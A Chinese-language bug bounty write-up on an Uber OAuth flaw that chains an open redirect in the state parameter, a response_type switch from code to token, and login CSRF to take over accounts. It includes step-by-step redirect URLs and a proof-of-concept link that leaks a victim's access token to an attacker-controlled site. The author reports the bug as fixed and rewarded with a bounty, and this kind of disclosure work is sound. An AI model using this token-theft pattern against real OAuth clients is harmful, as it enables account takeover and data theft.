我研究Uber漏洞已經有一段時間了,而這是我第一次發布關于Uber漏洞挖掘的報告,希望可以給大家提供一些有趣的挖洞思路。在這篇文章中,我將會跟大家分享一個我在Uber系統中發現的有趣漏洞(Login CSRF + 開放重定向 -> 賬戶接管)。

長話短說
這個漏洞存在于Uber的central.uber.com節點,它使用了OAuth 2.0協議作為其登錄授權機制,但該節點并沒有正確使用CSRF參數,這將導致攻擊者能夠利用這種錯誤使用的狀態參數來執行開放重定向以及Login CSRF,然后在實現重定向之后竊取URL哈希中的訪問令牌。
central.uber.com的登錄流程
首先大家要了解central.uber.com的登錄流程(修復前),當用戶點擊了central.uber.com頁面中的登錄按鈕之后,系統的運行機制和跳轉如下:
1. https://central.uber.com/login?state=/somewhere
2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4. https://central.uber.com/somewhere
注:如果你想充分理解這個漏洞的話,你首先必須要清楚該節點所采用的用戶登錄流程,所以請各位多花點時間好好看看上面給出的跳轉鏈接。
當我看到了整個登錄流程之后,我首先想到的攻擊方法是將狀態參數/somewhere修改為//google.com來實現一次可能的開放重定向。修改之后的登錄流程如下:
1. https://central.uber.com/login?state=//google.com
2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4. //google.com
果然不出我所料,我成功地將這個登錄流程變成了一個開放重定向漏洞,但Uber并不接受關于開放重定向漏洞的報告,所以我還得想辦法通過這個漏洞找到其他更有意思的漏洞。但不管怎么樣,這仍然是一個非常好的開端。
由于Oauth請求使用的是code而并非token,所以即便是我們找到了一個開放重定向漏洞,我們也仍然無法利用它來竊取到任何信息。那如果我們將請求所使用的code轉換為token的話,又會發生什么呢?
1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
3. 無法實現重定向
由于我們這里沒有給https://central.uber.com/oauth2-callback提供有效的code值,所以在上述的第2步之后才沒能實現重定向。如果無法實現重定向,那我們就沒辦法竊取到訪問令牌了。所以我們得想辦法解決這個問題,我們需要一個針對oauth2-callback節點的有效code值。
Login CSRF
在這種情況下,Login CSRF就要派上用場了。由于這個Uber節點會在重定向時使用 CSRF參數狀態,所以我們可以直接將攻擊者的有效OAuth code添加到oauth2-callback節點,然后將其發送給目標用戶。當用戶訪問了這條鏈接之后,就可以被正確地重定向到攻擊者所控制的頁面并泄露其訪問令牌。
限制
利用這個漏洞時唯一的要求就是目標用戶的瀏覽器中已經存儲了login.uber.com的身份認證會話信息(session)。由于central.uber.com是Uber的官方OAuth客戶端,所以每一位Uber用戶默認都會接受central.uber.com的請求。
概念驗證PoC
PoC
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d攻擊者的有效OAuth code&state=%2F%2f攻擊者控制的站點
PoC登錄流程
1.https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻擊者的有效OAuth code}&state=%2F%2f攻擊者控制的站點
2.https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={攻擊者的有效OAuth code}#access_token={目標用戶的訪問令牌}
3.//hackerone.com#accesstoken={目標用戶的訪問令牌}
總結
終于搞定啦!我已經將這個漏洞上報給了Uber的安全技術團隊,Uber也在確認了漏洞信息之后給我提供了8000美刀的漏洞獎勵。
感謝大家的閱讀,如果你有什么其他的觀點或想法,請趕緊與我聯系吧!281936@qq.com
|